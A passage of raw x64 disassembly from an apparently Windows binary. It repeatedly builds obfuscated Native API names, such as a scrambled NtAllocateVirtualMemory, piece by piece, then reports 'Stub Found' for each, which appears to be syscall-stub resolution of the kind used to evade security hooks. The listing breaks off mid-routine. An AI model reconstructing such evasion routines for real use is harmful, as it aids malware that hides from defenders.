lea r8, [0x1400db401]
mov rcx, rax
call fcn.1400ba110
lea rax, [rbp + 0xbb0]
lea rdx, [rbp + 0xbd0]
lea r8, [0x1400db3fb]
mov rcx, rax
call fcn.1400ba110
lea rax, [rbp + 0xb90]
lea rdx, [rbp + 0xbb0]
lea r8, [0x1400db3f9]
mov rcx, rax
call fcn.1400ba110
lea rax, [rbp + 0xb70]
lea rdx, [rbp + 0xb90]
lea r8, [0x1400db433]
mov rcx, rax
call fcn.1400ba110
lea rax, [rbp + 0xb50]
lea rdx, [rbp + 0xb70]
lea r8, [0x1400db435]
mov rcx, rax
call fcn.1400ba110
lea rax, [rbp + 0xb30]
lea rdx, [rbp + 0xb50]
lea r8, [0x1400db437]
mov rcx, rax
call fcn.1400ba110
lea rdx, [rbp + 0xb30]
lea rax, [rbp + 0x270]
mov rcx, rax
call fcn.1400a9cf0
lea rax, [rbp + 0xb30]
mov rcx, rax
call fcn.1400a9cb0
lea rax, [rbp + 0xb50]
mov rcx, rax
call fcn.1400a9cb0
lea rax, [rbp + 0xb70]
mov rcx, rax
call fcn.1400a9cb0
lea rax, [rbp + 0xb90]
mov rcx, rax
call fcn.1400a9cb0
lea rax, [rbp + 0xbb0]
mov rcx, rax
call fcn.1400a9cb0
lea rax, [rbp + 0xbd0]
mov rcx, rax
call fcn.1400a9cb0
lea rax, [rbp + 0xbf0]
mov rcx, rax
call fcn.1400a9cb0
lea rax, [rbp + 0xc10]
mov rcx, rax
call fcn.1400a9cb0
lea rax, [rbp + 0xc30]
mov rcx, rax
call fcn.1400a9cb0
lea rax, [rbp + 0xc50]
mov rcx, rax
call fcn.1400a9cb0
lea rax, [rbp + 0xc70]
mov rcx, rax
call fcn.1400a9cb0
lea rax, [rbp + 0xc90]
mov rcx, rax
call fcn.1400a9cb0
lea rax, [rbp + 0xcb0]
mov rcx, rax
call fcn.1400a9cb0
lea rax, [rbp + 0xcd0]
mov rcx, rax
call fcn.1400a9cb0
lea rax, [rbp + 0xcf0]
mov rcx, rax
call fcn.1400a9cb0
lea rax, [rbp + 0xd10]
mov rcx, rax
call fcn.1400a9cb0
lea rax, [rbp + 0xd3f]
mov rcx, rax
call fcn.140071c60
lea rdx, [rbp + 0x270]
lea rax, [rbp + 0xd40]
mov rcx, rax
call fcn.1400a9100
mov r9, qword [rbp + 0x2e90]
mov r8, qword [rbp + 0x2eb0]
mov rdx, qword [rbp + 0x2e88]
lea rax, [rbp + 0xd40]
mov rcx, qword [rbp + 0x2f38]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x2f70]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.1400014dd
mov dword [rbp + 0x2e84], eax
lea rax, [rbp + 0xd40]
mov rcx, rax
call fcn.1400a9cb0
cmp dword [rbp + 0x2e84], 0
je 0x140004fc8
lea rbx, [0x1400db40b]
jmp 0x140004fcf
lea rbx, [0x1400db410]
lea rax, [rbp + 0x270]
mov rcx, rax
call fcn.14002f430
mov r8, rbx
mov rdx, rax
lea rax, str._s_Stub_Found:__s_n
mov rcx, rax
call fcn.140001450
lea rax, [rbp + 0xf2f]
mov rcx, rax
call fcn.140071c30
lea rdx, [rbp + 0xf2f]
lea rax, [rbp + 0xf00]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.1400a9590
lea rax, [rbp + 0xee0]
lea rdx, [rbp + 0xf00]
lea r8, [0x1400db3ef]
mov rcx, rax
call fcn.1400ba110
lea rax, [rbp + 0xec0]
lea rdx, [rbp + 0xee0]
lea r8, [0x1400db439]
mov rcx, rax
call fcn.1400ba110
lea rax, [rbp + 0xea0]
lea rdx, [rbp + 0xec0]
lea r8, [0x1400db3fb]
mov rcx, rax
call fcn.1400ba110
lea rax, [rbp + 0xe80]
lea rdx, [rbp + 0xea0]
lea r8, [0x1400db43b]
mov rcx, rax
call fcn.1400ba110
lea rax, [rbp + 0xe60]
lea rdx, [rbp + 0xe80]
lea r8, [0x1400db403]
mov rcx, rax
call fcn.1400ba110
lea rax, [rbp + 0xe40]
lea rdx, [rbp + 0xe60]
lea r8, [0x1400db407]
mov rcx, rax
call fcn.1400ba110
lea rax, [rbp + 0xe20]
lea rdx, [rbp + 0xe40]
lea r8, [0x1400db3fb]
mov rcx, rax
call fcn.1400ba110
lea rax, [rbp + 0xe00]
lea rdx, [rbp + 0xe20]
lea r8, [0x1400db42f]
mov rcx, rax
call fcn.1400ba110
lea rax, [rbp + 0xde0]
lea rdx, [rbp + 0xe00]
lea r8, [0x1400db431]
mov rcx, rax
call fcn.1400ba110
lea rax, [rbp + 0xdc0]
lea rdx, [rbp + 0xde0]
lea r8, [0x1400db401]
mov rcx, rax
call fcn.1400ba110
lea rax, [rbp + 0xda0]
lea rdx, [rbp + 0xdc0]
lea r8, [0x1400db3fb]
mov rcx, rax
call fcn.1400ba110
lea rax, [rbp + 0xd80]
lea rdx, [rbp + 0xda0]
lea r8, [0x1400db3f9]
mov rcx, rax
call fcn.1400ba110
lea rax, [rbp + 0xd60]
lea rdx, [rbp + 0xd80]
lea r8, [0x1400db433]
mov rcx, rax
call fcn.1400ba110
lea rdx, [rbp + 0xd60]
lea rax, [rbp + 0x270]
mov rcx, rax
call fcn.1400a9cf0
lea rax, [rbp + 0xd60]
mov rcx, rax
call fcn.1400a9cb0
lea rax, [rbp + 0xd80]
mov rcx, rax
call fcn.1400a9cb0
lea rax, [rbp + 0xda0]
mov rcx, rax
call fcn.1400a9cb0
lea rax, [rbp + 0xdc0]
mov rcx, rax
call fcn.1400a9cb0
lea rax, [rbp + 0xde0]
mov rcx, rax
call fcn.1400a9cb0
lea rax, [rbp + 0xe00]
mov rcx, rax
call fcn.1400a9cb0
lea rax, [rbp + 0xe20]
mov rcx, rax
call fcn.1400a9cb0
lea rax, [rbp + 0xe40]
mov rcx, rax
call fcn.1400a9cb0
lea rax, [rbp + 0xe60]
mov rcx, rax
call fcn.1400a9cb0
lea rax, [rbp + 0xe80]
mov rcx, rax
call fcn.1400a9cb0
lea rax, [rbp + 0xea0]
mov rcx, rax
call fcn.1400a9cb0
lea rax, [rbp + 0xec0]
mov rcx, rax
call fcn.1400a9cb0
lea rax, [rbp + 0xee0]
mov rcx, rax
call fcn.1400a9cb0
lea rax, [rbp + 0xf00]
mov rcx, rax
call fcn.1400a9cb0
lea rax, [rbp + 0xf2f]
mov rcx, rax
call fcn.140071c60
lea rdx, [rbp + 0x270]
lea rax, [rbp + 0xf30]
mov rcx, rax
call fcn.1400a9100
mov r9, qword [rbp + 0x2e90]
mov r8, qword [rbp + 0x2eb0]
mov rdx, qword [rbp + 0x2e88]
lea rax, [rbp + 0xf30]
mov rcx, qword [rbp + 0x2f30]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x2f70]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.1400014dd
mov dword [rbp + 0x2e84], eax
lea rax, [rbp + 0xf30]
mov rcx, rax
call fcn.1400a9cb0
cmp dword [rbp + 0x2e84], 0
je 0x14000530b
lea rbx, [0x1400db40b]
jmp 0x140005312
lea rbx, [0x1400db410]
lea rax, [rbp + 0x270]
mov rcx, rax
call fcn.14002f430
mov r8, rbx
mov rdx, rax
lea rax, str._s_Stub_Found:__s_n
mov rcx, rax
call fcn.140001450
lea rax, [rbp + 0x11ff]
mov rcx, rax
call fcn.140071c30
lea rdx, [rbp + 0x11ff]
lea rax, [rbp + 0x11d0]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.1400a9590
lea rax, [rbp + 0x11b0]
lea rdx, [rbp + 0x11d0]
lea r8, [0x1400db3ef]
mov rcx, rax
call fcn.1400ba110
lea rax, [rbp + 0x1190]
lea rdx, [rbp + 0x11b0]
lea r8, str.WPCThdExRsFSngObjQIfpGDw
mov rcx, rax
call fcn.1400ba110
lea rax, [rbp + 0x1170]
lea rdx, [rbp + 0x1190]
lea r8, [0x1400db3f9]
mov rcx, rax
call fcn.1400ba110
lea rax, [rbp + 0x1150]
lea rdx, [rbp + 0x1170]
lea r8, [0x1400db3ff]
mov rcx, rax
call fcn.1400ba110
lea rax, [rbp + 0x1130]
lea rdx, [rbp + 0x1150]
lea r8, [0x1400db3ef]
mov rcx, rax
call fcn.1400ba110
lea rax, [rbp + 0x1110]
lea rdx, [rbp + 0x1130]
lea r8, [0x1400db43d]
mov rcx, rax
call fcn.1400ba110
lea rax, [rbp + 0x10f0]
lea rdx, [rbp + 0x1110]
lea r8, [0x1400db3f5]
mov rcx, rax
call fcn.1400ba110
lea rax, [rbp + 0x10d0]
lea rdx, [rbp + 0x10f0]
lea r8, [0x1400db401]
mov rcx, rax
call fcn.1400ba110
lea rax, [rbp + 0x10b0]
lea rdx, [rbp + 0x10d0]
lea r8, [0x1400db43f]
mov rcx, rax
call fcn.1400ba110
lea rax, [rbp + 0x1090]
lea rdx, [rbp + 0x10b0]
lea r8, [0x1400db3ff]
mov rcx, rax
call fcn.1400ba110
lea rax, [rbp + 0x1070]
lea rdx, [rbp + 0x1090]
lea r8, [0x1400db441]
mov rcx, rax
call fcn.1400ba110
lea rax, [rbp + 0x1050]
lea rdx, [rbp + 0x1070]
lea r8, [0x1400db443]
mov rcx, rax
call fcn.1400ba110
lea rax, [rbp + 0x1030]
lea rdx, [rbp + 0x1050]
lea r8, [0x1400db3f3]
mov rcx, rax
call fcn.1400ba110
lea rax, [rbp + 0x1010]
lea rdx, [rbp + 0x1030]
lea r8, [0x1400db3fb]
mov rcx, rax
call fcn.1400ba110
lea rax, [rbp + 0xff0]
lea rdx, [rbp + 0x1010]
lea r8, [0x1400db445]
mov rcx, rax
call fcn.1400ba110
lea rax, [rbp + 0xfd0]
lea rdx, [rbp + 0xff0]
lea r8, [0x1400db447]
mov rcx, rax
call fcn.1400ba110
lea rax, [rbp + 0xfb0]
lea rdx, [rbp + 0xfd0]
lea r8, [0x1400db449]
mov rcx, rax
call fcn.1400ba110
lea rax, [rbp + 0xf90]
lea rdx, [rbp + 0xfb0]
lea r8, [0x1400db3fb]
mov rcx, rax
call fcn.1400ba110
lea rax, [rbp + 0xf70]
lea rdx, [rbp + 0xf90]
lea r8, [0x1400db3f7]
mov rcx, rax
call fcn.1400ba110
lea rax, [rbp + 0xf50]
lea rdx, [rbp + 0xf70]
lea r8, [0x1400db3ef]
mov rcx, rax
call fcn.1400ba110
lea rdx, [rbp + 0xf50]
lea rax, [rbp + 0x270]
mov rcx, rax
call fcn.1400a9cf0
lea rax, [rbp + 0xf50]
mov rcx, rax
call fcn.1400a9cb0
lea rax, [rbp + 0xf70]
mov rcx, rax
call fcn.1400a9cb0
lea rax, [rbp + 0xf90]
mov rcx, rax
call fcn.1400a9cb0
lea rax, [rbp + 0xfb0]
mov rcx, rax
call fcn.1400a9cb0
lea rax, [rbp + 0xfd0]
mov rcx, rax
call fcn.1400a9cb0
lea rax, [rbp + 0xff0]
mov rcx, rax
call fcn.1400a9cb0
lea rax, [rbp + 0x1010]
mov rcx, rax
call fcn.1400a9cb0
lea rax, [rbp + 0x1030]
mov rcx, rax
call fcn.1400a9cb0
lea rax, [rbp + 0x1050]
mov rcx, rax
call fcn.1400a9cb0
lea rax, [rbp + 0x1070]
mov rcx, rax
call fcn.1400a9cb0
lea rax, [rbp + 0x1090]
mov rcx, rax
call fcn.1400a9cb0
lea rax, [rbp + 0x10b0]
mov rcx, rax
call fcn.1400a9cb0
lea rax, [rbp + 0x10d0]
mov rcx, rax
call fcn.1400a9cb0
lea rax, [rbp + 0x10f0]
mov rcx, rax
call fcn.1400a9cb0
lea rax, [rbp + 0x1110]
mov rcx, rax
call fcn.1400a9cb0
lea rax, [rbp + 0x1130]
mov rcx, rax
call fcn.1400a9cb0
lea rax, [rbp + 0x1150]
mov rcx, rax
call fcn.1400a9cb0
lea rax, [rbp + 0x1170]
mov rcx, rax
call fcn.1400a9cb0
lea rax, [rbp + 0x1190]
mov rcx, rax
call fcn.1400a9cb0
lea rax, [rbp + 0x11b0]
mov rcx, rax
call fcn.1400a9cb0
lea rax, [rbp + 0x11d0]
mov rcx, rax
call fcn.1400a9cb0
lea rax, [rbp + 0x11ff]
mov rcx, rax
call fcn.140071c60
lea rdx, [rbp + 0x270]
lea rax, [rbp + 0x1200]
mov rcx, rax
call fcn.1400a9100
mov r9, qword [rbp + 0x2e90]
mov r8, qword [rbp + 0x2eb0]
mov rdx, qword [rbp + 0x2e88]
lea rax, [rbp + 0x1200]
mov rcx, qword [rbp + 0x2f28]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x2f70]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.1400014dd
mov dword [rbp + 0x2e84], eax
lea rax, [rbp + 0x1200]
mov rcx, rax
call fcn.1400a9cb0
cmp dword [rbp + 0x2e84], 0
je 0x140005782
lea rbx, [0x1400db40b]
jmp 0x140005789
lea rbx, [0x1400db410]
lea rax, [rbp + 0x270]
mov rcx, rax
call fcn.14002f430
mov r8, rbx
mov rdx, rax
lea rax, str._s_Stub_Found:__s_n
mov rcx, rax
call fcn.140001450
lea rax, [rbp + 0x154f]
mov rcx, rax
call fcn.140071c30
lea rdx, [rbp + 0x154f]
lea rax, [rbp + 0x1520]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.1400a9590
lea rax, [rbp + 0x1500]
lea rdx, [rbp + 0x1520]
lea r8, [0x1400db3ef]
mov rcx, rax
call fcn.1400ba110
lea rax, [rbp + 0x14e0]
lea rdx, [rbp + 0x1500]
lea r8, [0x1400db44b]
mov rcx, rax
call fcn.1400ba110
lea rax, [rbp + 0x14c0]
lea rdx, [rbp + 0x14e0]
lea r8, [0x1400db403]
mov rcx, rax
call fcn.1400ba110
lea rax, [rbp + 0x14a0]
lea rdx, [rbp + 0x14c0]
lea r8, [0x1400db3fb]
mov rcx, rax
call fcn.1400ba110
lea rax, [rbp + 0x1480]
lea rdx, [rbp + 0x14a0]
lea r8, [0x1400db401]
mov rcx, rax
call fcn.1400ba110
lea rax, [rbp + 0x1460]
lea rdx, [rbp + 0x1480]
lea r8, [0x1400db409]
mov rcx, rax
call fcn.1400ba110
lea rax, [rbp + 0x1440]
lea rdx, [rbp + 0x1460]
lea r8, [0x1400db44d]
mov rcx, rax
call fcn.1400ba110
lea rax, [rbp + 0x1420]
lea rdx, [rbp + 0x1440]
lea r8, [0x1400db441]
mov rcx, rax
call fcn.1400ba110
lea rax, [rbp + 0x1400]
lea rdx, [rbp + 0x1420]
lea r8, [0x1400db44f]
mov rcx, rax
call fcn.1400ba110
lea rax, [rbp + 0x13e0]
lea rdx, [rbp + 0x1400]
lea r8, [0x1400db3f5]
mov rcx, rax
call fcn.1400ba110
lea rax, [rbp + 0x13c0]
lea rdx, [rbp + 0x13e0]
lea r8, [0x1400db401]
mov rcx, rax
call fcn.1400ba110
lea rax, [rbp + 0x13a0]
lea rdx, [rbp + 0x13c0]
lea r8, [0x1400db407]
mov rcx, rax
call fcn.1400ba110
lea rax, [rbp + 0x1380]
lea rdx, [rbp + 0x13a0]
lea r8, [0x1400db3f9]
mov rcx, rax
call fcn.1400ba110
lea rax, [rbp + 0x1360]
lea rdx, [rbp + 0x1380]
lea r8, [0x1400db3ef]
mov rcx, rax
call fcn.1400ba110
lea rax, [rbp + 0x1340]
lea rdx, [rbp + 0x1360]
lea r8, [0x1400db3ff]
mov rcx, rax
call fcn.1400ba110
lea rax, [rbp + 0x1320]
lea rdx, [rbp + 0x1340]
lea r8, [0x1400db3f5]
mov rcx, rax
call fcn.1400ba110
lea rax, [rbp + 0x1300]
lea rdx, [rbp + 0x1320]
lea r8, [0x1400db441]
mov rcx, rax
call fcn.1400ba110
lea rax, [rbp + 0x12e0]
lea rdx, [rbp + 0x1300]
lea r8, [0x1400db42b]
mov rcx, rax
call fcn.1400ba110
lea rax, [rbp + 0x12c0]
lea rdx, [rbp + 0x12e0]
lea r8, [0x1400db401]
mov rcx, rax
call fcn.1400ba110
lea rax, [rbp + 0x12a0]
lea rdx, [rbp + 0x12c0]
lea r8, [0x1400db3f5]
mov rcx, rax
call fcn.1400ba110
lea rax, [rbp + 0x1280]
lea rdx, [rbp + 0x12a0]
lea r8, [0x1400db3f7]
mov rcx, rax
call fcn.1400ba110
lea rax, [rbp + 0x1260]
lea rdx, [rbp + 0x1280]
lea r8, [0x1400db3fb]
mov rcx, rax
call fcn.1400ba110
lea rax, [rbp + 0x1240]
lea rdx, [rbp + 0x1260]
lea r8, [0x1400db43b]
mov rcx, rax
call fcn.1400ba110
lea rax, [rbp + 0x1220]
lea rdx, [rbp + 0x1240]
lea r8, [0x1400db43b]
mov rcx, rax
call fcn.1400ba110
lea rdx, [rbp + 0x1220]
lea rax, [rbp + 0x270]
mov rcx, rax
call fcn.1400a9cf0
lea rax, [rbp + 0x1220]
mov rcx, rax
call fcn.1400a9cb0
lea rax, [rbp + 0x1240]
mov rcx, rax
call fcn.1400a9cb0
lea rax, [rbp + 0x1260]
mov rcx, rax
call fcn.1400a9cb0
lea rax, [rbp + 0x1280]
mov rcx, rax
call fcn.1400a9cb0
lea rax, [rbp + 0x12a0]
mov rcx, rax
call fcn.1400a9cb0
lea rax, [rbp + 0x12c0]
mov rcx, rax
call fcn.1400a9cb0
lea rax, [rbp + 0x12e0]
mov rcx, rax
call fcn.1400a9cb0
lea rax, [rbp + 0x1300]
mov rcx, rax
call fcn.1400a9cb0
lea rax, [rbp + 0x1320]
mov rcx, rax
call fcn.1400a9cb0
lea rax, [rbp + 0x1340]
mov rcx, rax
call fcn.1400a9cb0
lea rax, [rbp + 0x1360]
mov rcx, rax
call fcn.1400a9cb0
lea rax, [rbp + 0x1380]
mov rcx, rax
call fcn.1400a9cb0
lea rax, [rbp + 0x13a0]
mov rcx, rax
call fcn.1400a9cb0
lea rax, [rbp + 0x13c0]
mov rcx, rax
call fcn.1400a9cb0
lea rax, [rbp + 0x13e0]
mov rcx, rax
call fcn.1400a9cb0
lea rax, [rbp + 0x1400]
mov rcx, rax
call fcn.1400a9cb0
lea rax, [rbp + 0x1420]
mov rcx, rax
call fcn.1400a9cb0
lea rax, [rbp + 0x1440]
mov rcx, rax
call fcn.1400a9cb0
lea rax, [rbp + 0x1460]
mov rcx, rax
call fcn.1400a9cb0
lea rax, [rbp + 0x1480]
mov rcx, rax
call fcn.1400a9cb0
lea rax, [rbp + 0x14a0]
mov rcx, rax
call fcn.1400a9cb0
lea rax, [rbp + 0x14c0]
mov rcx, rax
call fcn.1400a9cb0
lea rax, [rbp + 0x14e0]
mov rcx, rax
call fcn.1400a9cb0
lea rax, [rbp + 0x1500]
mov rcx, rax
call fcn.1400a9cb0
lea rax, [rbp + 0x1520]
mov rcx, rax
call fcn.1400a9cb0
lea rax, [rbp + 0x154f]
mov rcx, rax
call fcn.140071c60
lea rdx, [rbp + 0x270]
lea rax, [rbp + 0x1550]
mov rcx, rax
call fcn.1400a9100
mov r9, qword [rbp + 0x2e90]
mov r8, qword [rbp + 0x2eb0]
mov rdx, qword [rbp + 0x2e88]
lea rax, [rbp + 0x1550]
mov rcx, qword [rbp + 0x2f20]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x2f70]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.1400014dd
mov dword [rbp + 0x2e84], eax
lea rax, [rbp + 0x1550]
mov rcx, rax
call fcn.1400a9cb0
cmp dword [rbp + 0x2e84], 0
je 0x140005ca9
lea rbx, [0x1400db40b]
jmp 0x140005cb0
lea rbx, [0x1400db410]
lea rax, [rbp + 0x270]
mov rcx, rax
call fcn.14002f430
mov r8, rbx
mov rdx, rax
lea rax, str._s_Stub_Found:__s_n
mov rcx, rax
call fcn.140001450
lea rax, [rbp + 0x17df]
mov rcx, rax
call fcn.140071c30
lea rdx, [rbp + 0x17df]
lea rax, [rbp + 0x17b0]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.1400a9590
lea rax, [rbp + 0x1790]
lea rdx, [rbp + 0x17b0]
lea r8, [0x1400db3ef]
mov rcx, rax
call fcn.1400ba110
lea rax, [rbp + 0x1770]
lea rdx, [rbp + 0x1790]
lea r8, [0x1400db439]
mov rcx, rax
call fcn.1400ba110
lea rax, [rbp + 0x1750]
lea rdx, [rbp + 0x1770]
lea r8, [0x1400db3fb]
mov rcx, rax
call fcn.1400ba110
lea rax, [rbp + 0x1730]
lea rdx, [rbp + 0x1750]
lea r8, [0x1400db3f9]
mov rcx, rax
call fcn.1400ba110
lea rax, [rbp + 0x1710]
lea rdx, [rbp + 0x1730]
lea r8, [0x1400db433]
mov rcx, rax
call fcn.1400ba110
lea rax, [rbp + 0x16f0]
lea rdx, [rbp + 0x1710]
lea r8, [0x1400db3fd]
mov rcx, rax
call fcn.1400ba110
lea rax, [rbp + 0x16d0]
lea rdx, [rbp + 0x16f0]
lea r8, [0x1400db3ff]
mov rcx, rax
call fcn.1400ba110
lea rax, [rbp + 0x16b0]
lea rdx, [rbp + 0x16d0]
lea r8, [0x1400db401]
mov rcx, rax
call fcn.1400ba110
lea rax, [rbp + 0x1690]
lea rdx, [rbp + 0x16b0]
lea r8, [0x1400db3ef]
mov rcx, rax
call fcn.1400ba110
lea rax, [rbp + 0x1670]
lea rdx, [rbp + 0x1690]
lea r8, [0x1400db403]
mov rcx, rax
call fcn.1400ba110
lea rax, [rbp + 0x1650]
lea rdx, [rbp + 0x1670]
lea r8, [0x1400db3f9]
mov rcx, rax
call fcn.1400ba110
lea rax, [rbp + 0x1630]
lea rdx, [rbp + 0x1650]
lea r8, [0x1400db3f3]
mov rcx, rax
call fcn.1400ba110
lea rax, [rbp + 0x1610]
lea rdx, [rbp + 0x1630]
lea r8, [0x1400db405]
mov rcx, rax
call fcn.1400ba110
lea rax, [rbp + 0x15f0]
lea rdx, [rbp + 0x1610]
lea r8, [0x1400db3fb]
mov rcx, rax
call fcn.1400ba110
lea rax, [rbp + 0x15d0]
lea rdx, [rbp + 0x15f0]
lea r8, [0x1400db407]
mov rcx, rax
call fcn.1400ba110
lea rax, [rbp + 0x15b0]
lea rdx, [rbp + 0x15d0]
lea r8, [0x1400db3f5]
mov rcx, rax
call fcn.1400ba110
lea rax, [rbp + 0x1590]
lea rdx, [rbp + 0x15b0]
lea r8, [0x1400db401]
mov rcx, rax
call fcn.1400ba110
lea rax, [rbp + 0x1570]
lea rdx, [rbp + 0x1590]
lea r8, [0x1400db409]
mov rcx, rax
call fcn.1400ba110
lea rdx, [rbp + 0x1570]
lea rax, [rbp + 0x270]
mov rcx, rax
call fcn.1400a9cf0
lea rax, [rbp + 0x1570]
mov rcx, rax
call fcn.1400a9cb0
lea rax, [rbp + 0x1590]
mov rcx, rax
call fcn.1400a9cb0
lea rax, [rbp + 0x15b0]
mov rcx, rax
call fcn.1400a9cb0
lea rax, [rbp + 0x15d0]
mov rcx, rax
call fcn.1400a9cb0
lea rax, [rbp + 0x15f0]
mov rcx, rax
call fcn.1400a9cb0
lea rax, [rbp + 0x1610]
mov rcx, rax
call fcn.1400a9cb0
lea rax, [rbp + 0x1630]
mov rcx, rax
call fcn.1400a9cb0
lea rax, [rbp + 0x1650]
mov rcx, rax
call fcn.1400a9cb0
lea rax, [rbp + 0x1670]
mov rcx, rax
call fcn.1400a9cb0
lea rax, [rbp + 0x1690]
mov rcx, rax
call fcn.1400a9cb0
lea rax, [rbp + 0x16b0]
mov rcx, rax
call fcn.1400a9cb0
lea rax, [rbp + 0x16d0]
mov rcx, rax
call fcn.1400a9cb0
lea rax, [rbp + 0x16f0]
mov rcx, rax
call fcn.1400a9cb0
lea rax, [rbp + 0x1710]
mov rcx, rax
call fcn.1400a9cb0
lea rax, [rbp + 0x1730]
mov rcx, rax
call fcn.1400a9cb0
lea rax, [rbp + 0x1750]
mov rcx, rax
call fcn.1400a9cb0
lea rax, [rbp + 0x1770]
mov rcx, rax
call fcn.1400a9cb0
lea rax, [rbp + 0x1790]
mov rcx, rax
call fcn.1400a9cb0
lea rax, [rbp + 0x17b0]
mov rcx, rax
call fcn.1400a9cb0
lea rax, [rbp + 0x17df]
mov rcx, rax
call fcn.140071c60
lea rdx, [rbp + 0x270]
lea rax, [rbp + 0x17e0]
mov rcx, rax
call fcn.1400a9100
mov r9, qword [rbp + 0x2e90]
mov r8, qword [rbp + 0x2eb0]
mov rdx, qword [rbp + 0x2e88]
lea rax, [rbp + 0x17e0]
mov rcx, qword [rbp + 0x2f18]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x2f70]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.1400014dd
mov dword [rbp + 0x2e84], eax
lea rax, [rbp + 0x17e0]
mov rcx, rax
call fcn.1400a9cb0
cmp dword [rbp + 0x2e84], 0
je 0x1400060c8
lea rbx, [0x1400db40b]
jmp 0x1400060cf
lea rbx, [0x1400db410]
lea rax, [rbp + 0x270]
mov rcx, rax
call fcn.14002f430
mov r8, rbx
mov rdx, rax
lea rax, str._s_Stub_Found:__s_n
mov rcx, rax
call fcn.140001450
lea rax, [rbp + 0x18ef]
mov rcx, rax
call fcn.140071c30
lea rdx, [rbp + 0x18ef]
lea rax, [rbp + 0x18c0]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.1400a9590
lea rax, [rbp + 0x18a0]
lea rdx, [rbp + 0x18c0]
lea r8, [0x1400db3ef]
mov rcx, rax
call fcn.1400ba110
lea rax, [rbp + 0x1880]
lea rdx, [rbp + 0x18a0]
lea r8, [0x1400db42d]
mov rcx, rax
call fcn.1400ba110
lea rax, [rbp + 0x1860]
lea rdx, [rbp + 0x1880]
lea r8, [0x1400db3f3]
mov rcx, rax
call fcn.1400ba110
lea rax, [rbp + 0x1840]
lea rdx, [rbp + 0x1860]
lea r8, [0x1400db3f5]
mov rcx, rax
call fcn.1400ba110
lea rax, [rbp + 0x1820]
lea rdx, [rbp + 0x1840]
lea r8, [0x1400db43b]
mov rcx, rax
call fcn.1400ba110
lea rax, [rbp + 0x1800]
lea rdx, [rbp + 0x1820]
lea r8, [0x1400db3fb]
mov rcx, rax
call fcn.1400ba110
lea rdx, [rbp + 0x1800]
lea rax, [rbp + 0x270]
mov rcx, rax
call fcn.1400a9cf0
lea rax, [rbp + 0x1800]
mov rcx, rax
call fcn.1400a9cb0
lea rax, [rbp + 0x1820]
mov rcx, rax
call fcn.1400a9cb0
lea rax, [rbp + 0x1840]
mov rcx, rax
call fcn.1400a9cb0
lea rax, [rbp + 0x1860]
mov rcx, rax
call fcn.1400a9cb0
lea rax, [rbp + 0x1880]
mov rcx, rax
call fcn.1400a9cb0
lea rax, [rbp + 0x18a0]
mov rcx, rax
call fcn.1400a9cb0
lea rax, [rbp + 0x18c0]
mov rcx, rax
call fcn.1400a9cb0
lea rax, [rbp + 0x18ef]
mov rcx, rax
call fcn.140071c60
lea rdx, [rbp + 0x270]
lea rax, [rbp + 0x18f0]
mov rcx, rax
call fcn.1400a9100
mov r9, qword [rbp + 0x2e90]
mov r8, qword [rbp + 0x2eb0]
mov rdx, qword [rbp + 0x2e88]
lea rax, [rbp + 0x18f0]
mov rcx, qword [rbp + 0x2f10]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x2f70]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.1400014dd
mov dword [rbp + 0x2e84], eax
lea rax, [rbp + 0x18f0]
mov rcx, rax
call fcn.1400a9cb0
cmp dword [rbp + 0x2e84], 0
je 0x1400062d7
lea rbx, [0x1400db40b]
jmp 0x1400062de
lea rbx, [0x1400db410]
lea rax, [rbp + 0x270]
mov rcx, rax
call fcn.14002f430
mov r8, rbx
mov rdx, rax
lea rax, str._s_Stub_Found:__s_n
mov rcx, rax
call fcn.140001450
lea rax, [rbp + 0x1abf]
mov rcx, rax
call fcn.140071c30
lea rdx, [rbp + 0x1abf]
lea rax, [rbp + 0x1a90]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.1400a9590
lea rax, [rbp + 0x1a70]
lea rdx, [rbp + 0x1a90]
lea r8, [0x1400db3ef]
mov rcx, rax
call fcn.1400ba110
lea rax, [rbp + 0x1a50]
lea rdx, [rbp + 0x1a70]
lea r8, [0x1400db445]
mov rcx, rax
call fcn.1400ba110
lea rax, [rbp + 0x1a30]
lea rdx, [rbp + 0x1a50]
lea r8, [0x1400db451]
mov rcx, rax
call fcn.1400ba110
lea rax, [rbp + 0x1a10]
lea rdx, [rbp + 0x1a30]
lea r8, [0x1400db3fb]
mov rcx, rax
call fcn.1400ba110
lea rax, [rbp + 0x19f0]
lea rdx, [rbp + 0x1a10]
lea r8, [0x1400db441]
mov rcx, rax
call fcn.1400ba110
lea rax, [rbp + 0x19d0]
lea rdx, [rbp + 0x19f0]
lea r8, [0x1400db42b]
mov rcx, rax
call fcn.1400ba110
lea rax, [rbp + 0x19b0]
lea rdx, [rbp + 0x19d0]
lea r8, [0x1400db401]
mov rcx, rax
call fcn.1400ba110
lea rax, [rbp + 0x1990]
lea rdx, [rbp + 0x19b0]
lea r8, [0x1400db3f5]
mov rcx, rax
call fcn.1400ba110
lea rax, [rbp + 0x1970]
lea rdx, [rbp + 0x1990]
lea r8, [0x1400db3f7]
mov rcx, rax
call fcn.1400ba110
lea rax, [rbp + 0x1950]
lea rdx, [rbp + 0x1970]
lea r8, [0x1400db3fb]
mov rcx, rax
call fcn.1400ba110
lea rax, [rbp + 0x1930]
lea rdx, [rbp + 0x1950]
lea r8, [0x1400db43b]
mov rcx, rax
call fcn.1400ba110
lea rax, [rbp + 0x1910]
lea rdx, [rbp + 0x1930]
lea r8, [0x1400db43b]
